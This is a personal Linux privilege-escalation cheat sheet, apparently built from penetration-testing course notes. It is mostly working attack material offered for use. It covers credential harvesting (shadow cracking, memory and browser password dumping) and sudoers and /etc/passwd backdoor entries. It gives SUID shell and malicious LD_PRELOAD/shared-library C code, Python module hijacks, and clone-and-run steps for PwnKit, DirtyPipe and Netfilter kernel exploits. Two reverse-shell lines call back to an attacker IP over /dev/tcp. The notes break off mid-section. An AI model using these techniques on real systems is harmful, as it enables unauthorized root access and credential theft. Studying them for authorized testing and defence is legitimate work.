Linux Priv Cheat Sheet

jeudi 13 février 2025 1:33 PM

RECAP

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/
https://github.com/advisories?query=

Enumeration

Question	Command(s)
SYSTEM / MACHINE Enumeration	
General Comprehension of foothold	• whoami • id • hostname • ifconfig
OS + Version checking out what operating system and version we are dealing with. Check the version codename inside release cycle of ubuntu	• cat /etc/os-release
Kernel version Look Public Exploits DirtyPipe exploit All kernels from version 5.8 to 5.17 are affected Netfilter versions up to 6.3.1	• uname -a • cat /proc/version
Host Information (Arch, CPU) information about the host itself such as the CPU type/version	• lscpu
Sudo Allowed commands When doing sudo -l and ***finding a custom binary*** it's worth **checking for its ldd libraries** if there is a custom one and note down also the flag set like **secure_path** / **env_keep+=LD_PRELOAD** since these can be exploited for priv esc. Also check for GTFOBins if the binary is known. If it's a **python script check for imported libraries it** uses and see if there is **any of them we can write into** to add our exploit code. If you see (ALL : ALL) **SETENV**: NOPASSWD: /usr/bin/python3 then refere to python library hijacking exploit using PYTHONPATH Environment Variable	• sudo -l
Sudo Version This affected the sudo versions: ○ 1.8.0 to 1.9.12p1 CVE-2023-22809 ○ 1.8.31 - Ubuntu 20.04 CVE-2021-3156 ○ all versions below 1.8.28 => CVE-2019-14287 [**$ sudo -u#-1 id**] will give us root ○ 1.8.27 - Debian 10 ○ 1.9.2 - Fedora 33 ○ and others	• sudo -V
Enumerate Capabilities	• capsh --print
What types of interesting information can we find in **history**, **log**, and **backup** files?	• tail -n8 /home/*/.bash* • strings /root/.bash_history • cat ~/.bash_history • cat /var/log/auth.log(or/var/log/secure) • find / -name "*.log" 2>/dev/null • find / -name "*~" 2>/dev/null • find / -type f \(-name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
PATH Variables if the PATH variable for a target user is misconfigured we may be able to leverage it to escalate privileges	• echo $PATH
Environment Variables we may get lucky and find something sensitive in there such as a password.	• env
Available Shells What login shells exist on the server? Notethis can highligjht that both Tmux and Screen are available to us beside sh and bash	• cat /etc/shells
drives and any shares on the system enumerate information about block devices on the system (hard disks, USB drives, optical drives, etc.). If we discover and can mount an additional drive or unmounted file system, we may find sensitive files, passwords, or backups that can be leveraged to escalate privileges. **Check configuration for automatic mounting** Can we find any types of credentials in fstab for mounted drives by grepping for common words such as password, username, credential, etc in /etc/fstab?	• lsblk • cat /etc/fstab
information about any **printers attached to the system**	• lpstat
What **users**, **admins**, and **groups** exist on the system? Check for home directories / conf files or running proccess (ps -au)	• cat /etc/passwd | grep "*sh$" • cat /etc/group • getent passwd • getent group

	• getent group sudo • sudo getent shadow • grep '^sudo' /etc/group(for sudoers) • find /home -ls -maxdepth 2
Who is currently logged in? What users **recently logged in**?	• who • w • Last • lastlog
What **password policies**, if any, are enforced on the host?	• cat /etc/login.defs • cat /etc/pam.d/common-password • passwd -S [username]
Is the host **joined to an Active Directory domain**?	• realm list • dscl . -list /Users(if macOS tools are present) • wbinfo -u(for Samba/Winbind)
NETWORK Enumeration of Host	
Current **IP addressing information**	• ip addr • Ifconfig • hostname -I
Anything interesting in the /etc/hosts **file?**	• cat /etc/hosts
DNS Configuration In a domain environment we'll definitely want to check /etc/resolv.conf if the host is configured to use internal DNS we may be able to use this as a starting point to query the Active Directory environment.	• cat /etc/resolv.conf
Are there any **interesting network connections to other systems** in the internal network or even outside the network? Arp table : see what other hosts the target has been communicating with. routing table : see what other networks are available via which interface.	• netstat -anp • netstat -rn • route • ss -anp • lsof -i
What **sockets** are **in use**?	• netstat -tuln • ss -tuln
What **services and applications** are **installed?** If it is a slightly older Linux system, the likelihood increases that we can find installed packages that may already have at least one vulnerability.	• dpkg -l(Debian-based) • rpm -qa(Red Hat-based) • ls /usr/bin/ /bin /usr/sbin/ (binaries not installed but compiled can be listed) • apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a **installed_pkgs.list**
NFS Shares with no_root_squash ?	• cat /etc/exports <SNIP> # /var/nfs/general *(rw,**no_root_squash**) /tmp *(rw,**no_root_squash**)
INVESTIGATING RUNNING/INSTALLED Binaries	
What **tools are installed on the system** that we may be able to take advantage of? (Netcat, Perl, Python, Ruby, Nmap, tcpdump, gcc, etc.)	• which nc netcat perl python ruby nmap tcpdump gcc • `dpkg -l
Once we disclose the found binaries in the system we run **GTFOBIN check** against them to see which binaries we should investigate later.	$ for i in $(curl -s https://gtfobins.github.io/ \| html2text \| cut -d" " -f1 \| sed '/^[[:space:]]*$/d');do if grep -q "$i" **installed_pkgs.list**;then echo "Check GTFO for: $i";fi;done
What **services** are **running**? if we look at the process list, it can give us information about which scripts or binaries are in use and by which user. So, for example, if it is a script created by the administrator in his path and whose rights have not been restricted, we can run it without going into the root directory.	• ps aux • top • systemctl list-units --type=service --state=running • service --status-all • ps aux | grep root
Are any **Cron jobs running** on the system that we may be able to hijack?	• crontab -l • ls -la /etc/cron* • cat /etc/crontab
Services or **applications** that are **running + parameters passed to these processes.** 1. find /proc -name cmdline : ○ Inside each process directory, the cmdline file contains the command-line arguments used to start the process. ○ This part of the command searches for all cmdline files under /proc. 2. -exec cat {} \; : ○ For each cmdline file found, the -exec action runs the cat command to print its contents. ○ {} is a placeholder for the current file being processed. ○ \; marks the end of the -exec action. 3. | tr " " "\n" : ○ This makes the output more readable by splitting arguments onto separate lines.	• find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
Trace / follow the flow of a program and understand how it accesses system resources, processes	• strace <binaire commandline>

signals, and receives and sends data from the operating system. The output of strace can be written to a file for later analysis, and it provides a wealth of options that allow detailed monitoring of the program's behavior.	
Enumerating Binaries with Capabilities Look for dangerous cap like : cap_setuid cap_setgid cap_sys_admin cap_dac_override	`$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;`
Enumerate LXD	Enumerate lxd group members : • `cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id | grep -i "lx"` Enumerate lxd user : • `cat /etc/passwd | grep "lxd"` Enumerate lxd process/container : • `ps -ef | grep -i "lxd|lxc"`
Enumerate Screen 4.5.0 and v4.9.0 have priv esc exploits This allows an attacker to truncate any file or create a file owned by root in any directory and ultimately gain full root access.	`$ screen -v`

Enumerate tmux
This means if we can compromise a user in the devs group (or if our user in devs group) we can write to the socket owned by root
	`$ ps aux | grep tmux`
	`root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess`
	`$ ls -la /shareds`
	`srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds`

Enumerate Logrotate	• `logrotate -v` ▪ 3.8.6 ▪ 3.11.0 ▪ 3.15.0 ▪ 3.18.0 Find writable logs • `find / -type f -name "*.log" -writable 2>/dev/null`
Files/Creds Enumerations	
Which **files have been modified recently** and how often? Are there any interesting **patterns in file modification** that could indicate a cron job in use that we may be able to hijack?	• `find / -type f -mtime -1 2>/dev/null` • `find /etc/ -type f -mtime -1 2>/dev/null` • `crontab -l` • `ls -la /etc/cron*`
What types of interesting information can we find in **history**, **log**, and **backup** files?	• `tail -n8 /home/*/.bash*` • `strings /root/.bash_history` • `cat ~/.bash_history` • `cat /var/log/auth.log(or/var/log/secure)` • `find / -name "*.log" 2>/dev/null` • `find / -name "*~" 2>/dev/null` • `find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null`
Configuration Files Interestings files/creds in **spool** || **mail** directories if accessible The ! : excludes the /proc directory and its contents from the search.	• `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null` • `for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done` Look for keywords inside files • `for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done` (search for words inside)
Databases	• `for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done`

Scripts	• `for l in $(echo ".py .pyc .pl .go .jar .c .sh .php");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers |share";done`
TXT and files that have no file extension at all. for stored Creds	• `find /home/* -type f -name "*.txt" -o ! -name "*.*"`
Logs Application Logs | Event Logs | Service Logs | System Logs	• `$ for i in $(ls /var/log/* 2>/dev/null);do GREP= $(grep "accepted|session opened|session closed |failure|failed|ssh|password changed|new user|delete user|sudo|COMMAND\=|logs" $i 2>/dev/null); if [[$GREP]];then echo -e "\n#### Log file: " $i; grep "accepted|session opened |session closed|failure|failed|ssh|password changed|new user|delete user|sudo|COMMAND\= |logs" $i 2>/dev/null;fi;done`
SSH Keys Since the SSH keys can be named arbitrarily, we cannot search them for specific names. However, their format allows us to identify them uniquely because, whether public key or private key, both have unique first lines to distinguish them.	SSH Private Keys • `grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"` SSH PUBLIC KEYS • `grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"`
Miscellaneous files	• `for l in $(echo ".kdbx .keytab .kt krb5");do echo -e "\nFile extension: " $l; find / -name * $l* 2>/dev/null | grep -v "doc|lib|headers |share";done`
	• `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`
Extract Creds from memory (Requires root priv) it may be the system-required credentials for the logged-in users. Another example is the credentials stored in the browsers, which can also be read.	• `$ sudo bash mimipenguin.sh` • `$ sudo python3 mimipenguin.py` • `$ sudo python2.7 laZagne.py all`
Browsers when we store credentials for a web page in the Firefox browser, they are encrypted and stored in logins.json on the system	• `$ ls -l .mozilla/firefox/ | grep default` • `$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .` Decrypt with : • `python3 firefox_decrypt.py`
Opasswd (PAM) The PAM library (pam_unix.so) can prevent reusing old passwords. **The file where old passwords are stored is** the **/etc/security/opasswd**. **Administrator/root permissions are also required** to read the file if the permissions for this file have not been changed manually.	• `sudo cat /etc/security/opasswd`
Access to root ? Why not crack the passwords in shadow file :	• `sudo cp /etc/passwd /tmp/passwd.bak` • `sudo cp /etc/shadow /tmp/shadow.bak` • `unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes` • `hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked`
All Hidden Files	• `find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep htb-student`
All Hidden Directories	• `find / -type d -name ".*" -ls 2>/dev/null`
Writeable Directories	• `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`
Writable Files	• `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`
Temporary Files /var/tmp [UP TO 30 DAYS] and /tmp [up to 10 days if no restart] mysql files can be found	• `ls -l /tmp /var/tmp /dev/shm`
Binaries with SETUID / SETGID Permissions Check for Shared Object Hijacking exploit if they are being compiled with RUNPATH flag or we can abuse one of the loaded library they use.	• `find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null` • `$ find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null` • `$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`

Exploitation Techniques

WHAT	HOW

PATH ABUSE	By Abusing where the program being looked for first when called. For scénarios where we find a binary called without absolute path (e.g ls / instead of /bin/ls /)
	
	`$ echo 'echo "PATH ABUSE!!"' > ls`
	`$ chmod +x ls`
	
	`$ PATH=$(pwd):${PATH}`
	`$ export PATH`
	`$ ls`

Wildcard Abuse	We can leverage the wild card in the cron job to write out the necessary commands as file name
	
	Consider the following Cronjob :
	`mh dom mon dow command`
	`*/01 * * * * cd /home/htb-student && tar -zcf /home/htb-student/backup.tar.gz *`
	`$ echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh`
	`$ echo "" > "--checkpoint-action=exec=sh root.sh"`
	`$ echo "" > --checkpoint=1`

Restricted Shells	RBASH (Restricted Bourne shell) || RKSH (Restricted Korn shell) || RZSH (Restricted Z shell) `$ ssh user@<ip> -t "bash --noprofile"` https://gist.github.com/PSJoshi/04c0e239ac7b486efb3420db4086e290 https://0xffsec.com/handbook/shells/restricted-shells/

LXD group	Exloiting LXD – Alpine Container Escape :
	
	Building the Alpine Container Image => (locally)
	`git clone https://github.com/saghul/lxd-alpine-builder.git`
	
	`cd lxd-alpine-builder`
	
	`./build-alpine`
	Send it to victim machine (scp / ftp / http (not recommended because volume is so big)
	Importing the Alpine Image and Mounting it as Root =>
	
	`lxc image import alpine-v3.16-x86_64-20221112_0508.tar.gz --alias alpine`
	confirm that it has been imported.
	`lxc image list`
	Now that the image is imported :
	➢ Initialize the Alpine image :
	`lxc init alpine hacked -c security.privileged=true`
	➢ Add the security.privileged=true flag so that the container runs as root :Un conteneur privilégié a accès aux fonctionnalités root du système hôte, ce qui permet d'exécuter des opérations nécessitant des droits administratifs.
	➢ Create a mounting point to the root of the filesystem inside the container :
	`lxc config device add hacked gimmeroot disk source=/ path=/mnt/root recursive=true`
	➢ Start the container and confirm it has started : `lxc start hacked`
	`lxc list`
	we can **drop into a root shell** and then break out and become root on the actual filesystem!
	`lxc exec hacked sh`
	
	we are currently only root inside the container, which was confirmed by using the ls -l /home command and not seeing the users profiles that exist on the actual filesystem
	Breaking out of the Container as Root
	If we navigate to **/mnt/root inside the container**, we **will have full access to the the filesystem as root**, so technically at this point we can do anything and this box has been “rooted”.
	To confirm this, we can enumerate something only root can access to – like the /root directory or the shadow file.
	we are interested in a true breakout, which we can do a number of ways like… **grabbing the root SSH key**, **copying bash into /tmp and give it SUID permissions**, or **adding a root user the /etc/passwd file** – to name a few.
	We will perform the last option mentionned:

	• Create a hashed password with SSL : `openssl passwd password` • Make a second user r00t with hashed password we got : `echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd` • Next we can exit from the container and run : `su r00t` and enter the password : "**password**"
Disk group	**Users within the disk group** have **full access to any devices contained within /dev**, such as /dev/sda1, which is typically the main device used by the operating system. An attacker with these privileges can use debugfs to access the entire file system with root level privileges. As with the Docker group example, this could be leveraged to retrieve SSH keys, credentials or to add a user.
ADM group	Members of the adm group are able to **read all logs stored in /var/log**. This does not directly grant root access, but could be leveraged to gather sensitive data stored in log files or enumerate user actions and running cron jobs. => `cd /var/log; grep -ri "keyword"` We can use aureport to read audit logs on Linux systems, with the man page describing it as "aureport is a tool that produces summary reports of the audit system logs." => `aureport --tty | less`

Capabilities	**Exploiting cap_dac_override :**
	What it does :
	Allows a process to **access any file or directory,** even if the user running the process doesn't have the necessary permissions (e.g., reading a file owned by root with restrictive permissions).
	How It Can Be Abused:
	a. Reading Sensitive Files
	○ **/etc/shadow** (contains hashed passwords for all users, including root).
	○ **/root/.ssh/authorized_keys** (allows adding SSH keys for root login).
	○ Configuration files for services that may contain credentials or secrets.
	
	b. Writing to Critical Files
	With cap_dac_override, an attacker can write to files they wouldn't normally have access to, such as:
	○ **/etc/passwd** or **/etc/shadow** (to add a new user or modify the root password).
	▪ `$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd`
	○ **/etc/sudoers** (to grant themselves sudo privileges).
	○ **System service configuration files** (e.g., modifying a service to run a malicious script as root).
	
	c. Modifying Executables or Scripts
	• **Replacing /bin/bash** or **/usr/bin/sudo** with a modified version that grants them root access.
	• **Modifying startup scripts** (e.g., **/etc/rc.local**) to execute commands at boot time.
	
	d. Escalating Privileges via Setuid Binaries
	If a setuid binary (e.g., /bin/su or /usr/bin/passwd) relies on file permissions to enforce security, an attacker with cap_dac_override can tamper with related files (e.g., /etc/passwd) to escalate privileges.
	
	Exploiting cap_sys_admin :
	
	a. Mounting Malicious Filesystems
	An attacker with cap_sys_admin can mount arbitrary filesystems, including:
	○ Overlay filesystems to hide malicious files or modify existing ones.
	○ Network shares to exfiltrate data or execute remote code.
	○ Custom filesystems that grant unauthorized access to sensitive areas of the system.
	
	b. Modifying Kernel Behavior
	The attacker can write to critical kernel interfaces via /proc or /sys, such as:
	○ Modifying kernel parameters to **disable security features** (e.g., disabling SELinux or AppArmor).
	○ **Injecting malicious code into the kernel through module loading** (/proc/sys/kernel/modules).
	
	c. Escalating Privileges via Raw I/O
	With cap_sys_admin, the attacker can perform raw I/O operations on block devices, allowing them to:
	○ Directly **read** or **write** to disk partitions.
	○ **Modify the contents of critical system file**s (e.g., /etc/passwd, /etc/shadow) at the disk level.
	○ Install backdoors or rootkits by modifying boot sectors or kernel images.
	d. Manipulating Network Interfaces
	The attacker can configure network interfaces to:
	○ Set up port forwarding or routing rules to intercept traffic.
	○ Create tunnels or bridges for data exfiltration.
	e. Modifying System Time
	Changing the system clock can disrupt time-based security mechanisms, such as:
	○ Invalidating time-sensitive tokens or certificates.
	○ Triggering race conditions in applications.
	
	Exploiting cap_setuid cap_setgid :
	`getcap -r / 2>/dev/null | grep "setuid|setgid"`
	`/path/to/binary setuid 0 && /path/to/binary setgid 0`
	`id`

Screen [terminal multiplexer]	4.5.0 and v4.9.0 have priv esc exploits This allows an attacker to truncate any file or create a file owned by root in any directory and ultimately gain full root access. https://www.exploit-db.com/exploits/51252 https://www.exploit-db.com/exploits/41154
Cronjobs	The **crond daemon** enables cron functionality and **reads** the **crontab** (cron tables) to execute any predefined scripts or commands that are listed. There are two types of crontabs that can be utilized to run cron jobs:

	◦ **The system crontab** – Used it to schedule system-wide jobs – The default system crontab configuration file is located at /etc/crontab ◦ **The user crontab** – This file lets users create and edit cron jobs that only apply at the user level – Created using the crontab -e command and stored in /var/spool/cron/crontabs ◦ The only place that **root** users **should be creating cron jobs** is **in** the /etc/crontab file or in their personal crontab stored in /var/spool/cron/crontabs/root. Run pspy64 and check for entries (cronjobs) that execute scripts with root and next check if we can write/append to these scripts reverse shell line (bash -i >& /dev/tcp/<our_ip>/9001 0>&1). If we find a binary being exectuing like tar we can create a file with name of command we want to execute to escape the tar command. Or if tar (or any binary) is used without absolute path we can check for PATH exploitation.
Kubernetes	Link
Logrotate	To exploit logrotate, we need some requirements that we have to fulfill. ◦ we need write permissions on the log files => find / -type f -name "*.log" -writable 2>/dev/null ◦ logrotate must run as a privileged user or root ◦ vulnerable versions: ▪ 3.8.6 ▪ 3.11.0 ▪ 3.15.0 ▪ 3.18.0 git clone https://github.com/whotwagner/logrotten.git Then compile it on the target or similaire machine . Next create a payload file : echo 'bash - i >& /dev/tcp/<ourip>/9001 0>&1' > payload Next write a line into a writable file : echo "blabla" > writable.log Next : ./logrotate -p payload writable.log
tcpdump	net-creds and PCredz that **can be used to examine data being passed on the wire**. This may result in capturing sensitive information such as **credit card numbers** and **SNMP community strings**. It may also be possible to capture **Net-NTLMv2**, **SMBv2**, or **Kerberos hashes**, which could be subjected to an offline brute force attack to reveal the plaintext password. **Cleartext protocols such as** HTTP, FTP, POP, IMAP, telnet, or SMTP may contain credentials that could be reused to escalate privileges on the host.

NFS	$ cat shell.c
	
	#include <stdio.h>
	#include <sys/types.h>
	#include <unistd.h>
	#include <stdlib.h>
	
	int main(void)
	{
	setuid(0); setgid(0); system("/bin/bash");
	}
	$ gcc shell.c -o shell
	$ sudo mount -t nfs 10.129.2.12:/tmp /mnt => [mount the nfs share locally on our attack box]
	$ cp shell /mnt
	$ chmod u+s /mnt/shell
	
	:/tmp$ ls -la
	
	total 68
	drwxrwxrwt 10 root root 4096 Sep 1 06:15 .
	drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..
	drwxrwxrwt 2 root root 4096 Sep 1 05:35 .font-unix
	drwxrwxrwt 2 root root 4096 Sep 1 05:35 .ICE-unix
	-rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell
	
	/tmp$ ./shell
	:/tmp# id
	
	uid=0(root) **gid**=0(root) **groups**=
	0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(htb)

tmux	$ ps aux | grep tmux
	root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess
	
	$ ls -la /shareds
	srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds
	
	$ id
	uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)
	
	Finally, attach to the tmux session and confirm root privileges.
	
	$ tmux -S /shareds
	id
	uid=0(root) gid=0(root) groups=0(root)

Ubuntu Kernel Exploits	https://safe.security/wp-content/uploads/ubuntu-overlayfs-privesc-vulnerability.pdf • cat /etc/lsb-release Affected Versions:

Affected Versions
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

Shared Libraries

```
$ sudo -l
    Matching Defaults entries for daniel.carter on NIX02:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
    \:/bin\:/snap/bin, env_keep+=LD_PRELOAD

    User daniel.carter may run the following commands on NIX02:
        (root) NOPASSWD: /usr/sbin/custombinary
```

Since this is custom binary and doesn't have GTFOBins exploits, also the secure_path flag is set in the /etc/sudoers so we can't tamper with PATH variable to fetch custombinary from a location we write into. However we see that env_keep+=KD_PRELOAD flag is set which will enable us to add cosutom library we create before running the binary .

We can inspect the dynamique libraries the binary is loading already with :

```
$ ldd  /usr/sbin/custombinary
```

Now let's do our exploit : create this custom library :

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

We can compile this as follows:

```
$ gcc -fPIC -shared -o root.so root.c -nostartfiles
```

Finally, we can escalate privileges using the below command. Make sure we specify the full path to our malicious library file.

```
$ sudo LD_PRELOAD=/tmp/root.so /usr/sbin/custombinary

    id
    uid=0(root) gid=0(root) groups=0(root)
```

Shared Object Hijacking

Consider the following SETUID binary.

```
~$ ls -la payroll
    -rwsr-xr-x 1 root root 16728 Sep  1 22:05 payroll

$ ldd payroll

    linux-vdso.so.1 =>  (0x00007ffcb3133000)
    libshared.so => /development/libshared.so (0x00007f0c13112000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
```

it is possible to load shared libraries from custom locations using the flag RUNPATH in compilation. Libraries in this folder are given preference over other folders.

```
$readelf -a  payroll | grep PATH
 0x000000000000001d (RUNPATH)            Library runpath: [/development]


$ cp /development/libshared.so .
$ rm /development/libshared.so
$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
$./payroll
    ./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
```

We create our /development/libshared.so with dbquery() function :

```
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
```

```
}
```

```
$ ./payroll
```

```
Malicious library loaded
# id
uid=0(root) gid=1000(jerbi) groups=1000(jerbi)
```

Python Library Hijacking

there are three basic vulnerabilities where hijacking can be used:

- Wrong write permissions
- Library Path
- PYTHONPATH environment variable

Wrong Write Permissions

three components that are connected. This is **the actual python script** that imports a python module and the **privileges of the script** as well as the **permissions of the module**.

- We first need to find SUID script: `$ ls -l mem_status.py`

```
-rwsrwxr-x 1 root jerbi 188 Dec 13 20:13 mem_status.py
```

Inside it we find the script is calling **virtual_memory()** function from **psutil** module

- We check for the file that includes the definition of the function and check if we can write into it :

```
$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
```

```
$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
```

- It is recommended to put it right at the beginning of the function.

```
...SNIP...
def virtual_memory():
    ...SNIP...
    #### Hijacking
    import os
    os.system('id')


    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret
...SNIP...
```

- Now run the script : `$ sudo /usr/bin/python3 ./mem_status.py` ☑

Library Path

each version has a specified order in which libraries (modules) are searched and imported from. Paths higher on the list take priority over ones lower on the list.

```
$ python3 -c 'import sys, os, stat, pwd, grp; print("# Here are the permissions, owner, and group on directories being called #"); [print(f"Path: {path}\nPermissions: {stat.filemode(os.stat(path).st_mode)}\nOwner: {pwd.getpwuid(os.stat(path).st_uid).pw_name}\nGroup: {grp.getgrgid(os.stat(path).st_gid).gr_name}\n") for path in sys.path if path and os.path.exists(path)]'
```

We get this order : /usr/lib/python38.zip || /usr/lib/python3.8 || /usr/lib/python3.8/lib-dynload || /usr/local/lib/python3.8/dist-packages || /usr/lib/python3/dist-packages

To be able to use this variant, two prerequisites are necessary.

- The module that is imported by the script is located under one of the lower priority paths listed via the PYTHONPATH variable.
- We must have write permissions to one of the paths having a higher priority on the list. In order to execute our function first.

Check the location of module psutils : `$ pip3 show psutil` => Location: /usr/local/lib/python3.8/dist-packages. So we have to check if we have a write permission on any of those :

```
/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload)
```

The previous command should tell us. Suppose we have over /usr/lib/python3.8. let's hijack the module : [NOTE : the module we create must have the **same name as the import** as well as have the **same function** name with **the correct number of arguments** passed to it]

```
#!/usr/bin/env python3

import os

def virtual_memory():
    os.system('id')
```

```
~$ sudo /usr/bin/python3 mem_status.py
uid=0(root) gid=0(root) groups=0(root)
```

PYTHONPATH Environment Variable

```
$ sudo -l
<SNIP>
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

If SETENV is not explicitly allowed, the environment variables set by the user will be sanitized when
running the command via sudo.
```

we move the previous python script we created from the /usr/lib/python3.8 directory to /tmp.

```
~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

    uid=0(root) gid=0(root) groups=0(root)
    ...SNIP...
```

Polkit

PolicyKit (polkit) is an authorization service on Linux-based operating systems that allows user software and system components to communicate with each other if the user software is authorized to do so.
PolKit also comes with three additional programs:

- pkexec - runs a program with the rights of another user or with root rights
- pkaction - can be used to display actions
- pkcheck - this can be used to check if a process is authorized for a specific action

The most interesting tool for us, in this case, is pkexec because it performs the same task as sudo and can run a program with the rights of another user or root.

```
$ pkexec -u root id
    uid=0(root) gid=0(root) groups=0(root)
```

Exploit CVE-2021-4034 was found, also known as Pwnkit

```
$ git clone https://github.com/arthepsy/CVE-2021-4034.git
$ cd CVE-2021-4034
$ gcc cve-2021-4034-poc.c -o poc
$ ./poc
    # id

    uid=0(root) gid=0(root) groups=0(root)
```

Dirty Pipe

A vulnerability in the Linux kernel, **All kernels from version 5.8 to 5.17** are affected and vulnerable to this vulnerability. we could edit the /etc/passwd file and remove the password prompt for the root

Verify Kernel Version : `$ uname -r` => 5.13.0-46-generic

```
$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
$ cd CVE-2022-0847-DirtyPipe-Exploits
$ bash compile.sh
$ ./exploit-1

    Backing up /etc/passwd to /tmp/passwd.bak ...
    Setting root password to "piped"...
    Password: Restoring /etc/passwd from /tmp/passwd.bak...
    Done! Popping shell... (run commands now)

    id

    uid=0(root) gid=0(root) groups=0(root)
```

With the help of the 2nd exploit version (exploit-2), we can execute SUID binaries with root privileges.
Find SUID Binaries : `$ find / -perm -4000 2>/dev/null`

```
$ ./exploit-2 /usr/bin/sudo

    [+] hijacking suid binary..
    [+] dropping suid shell..
    [+] restoring suid binary..
    [+] popping root shell.. (dont forget to clean up /tmp/sh ;))

    # id

    uid=0(root) gid=0(root) groups=
    0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(cry0l1t3)
```

Netfilter

Netfilter is a Linux kernel module that provides, among other things, packet filtering, network address translation, and other tools relevant to firewalls. It controls and regulates network traffic by manipulating individual packets based on their characteristics and rules. When network packets are received and sent, it initiates the execution of other modules such as packet filters. These modules can then intercept and manipulate packets. This includes the programs like iptables and arptables, which serve as action mechanisms of the Netfilter hook system of the IPv4 and IPv6 protocol stack.

This kernel module has three main functions:

- Packet defragmentation
- Connection tracking
- Network address translation (NAT)

In 2021 (**CVE-2021-22555**), 2022 (CVE-2022-1015), and also in 2023 (**CVE-2023-32233**), several vulnerabilities were found that could lead to privilege escalation.

Even if the company uses virtual machines or containers like Docker, these are built on a specific kernel. The idea of isolating the software application from the existing host system is a good step, but there are many ways to break out of such a container.

CVE-2021-22555 [Vulnerable kernel versions: **2.6 - 5.11**]

```
$ wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
$ gcc -m32 -static exploit.c -o exploit
$ ./exploit
```

CVE-2022-25636 [Vulnerable Linux kernel **5.4** through **5.6.10**]

This is net/netfilter/nf_dup_netdev.c, which can grant root privileges to local users due to heap out-of-bounds write. However, we need to be careful with this exploit as it can corrupt the kernel, and a reboot will be required to reaccess the server.

```
$ git clone https://github.com/Bonfee/CVE-2022-25636.git
$ cd CVE-2022-25636
$ make
$ ./exploit
```

CVE-2023-32233 [Vulnerable Linux kernel up to version **6.3.1**]

This vulnerability exploits the so called anonymous sets in nf_tables by using the Use-After-Free vulnerability in the Linux Kernel up to version 6.3.1.
These nf_tables are temporary workspaces for processing batch requests and once the processing is done, these anonymous sets are supposed to be cleared out (Use-After-Free) so they cannot be used anymore. Due to a mistake in the code, these anonymous sets are not being handled properly and can still be accessed and modified by the program.

The exploitation is done by manipulating the system to use the cleared out anonymous sets to interact with the kernel's memory. By doing so, we can potentially gain root privileges.

```
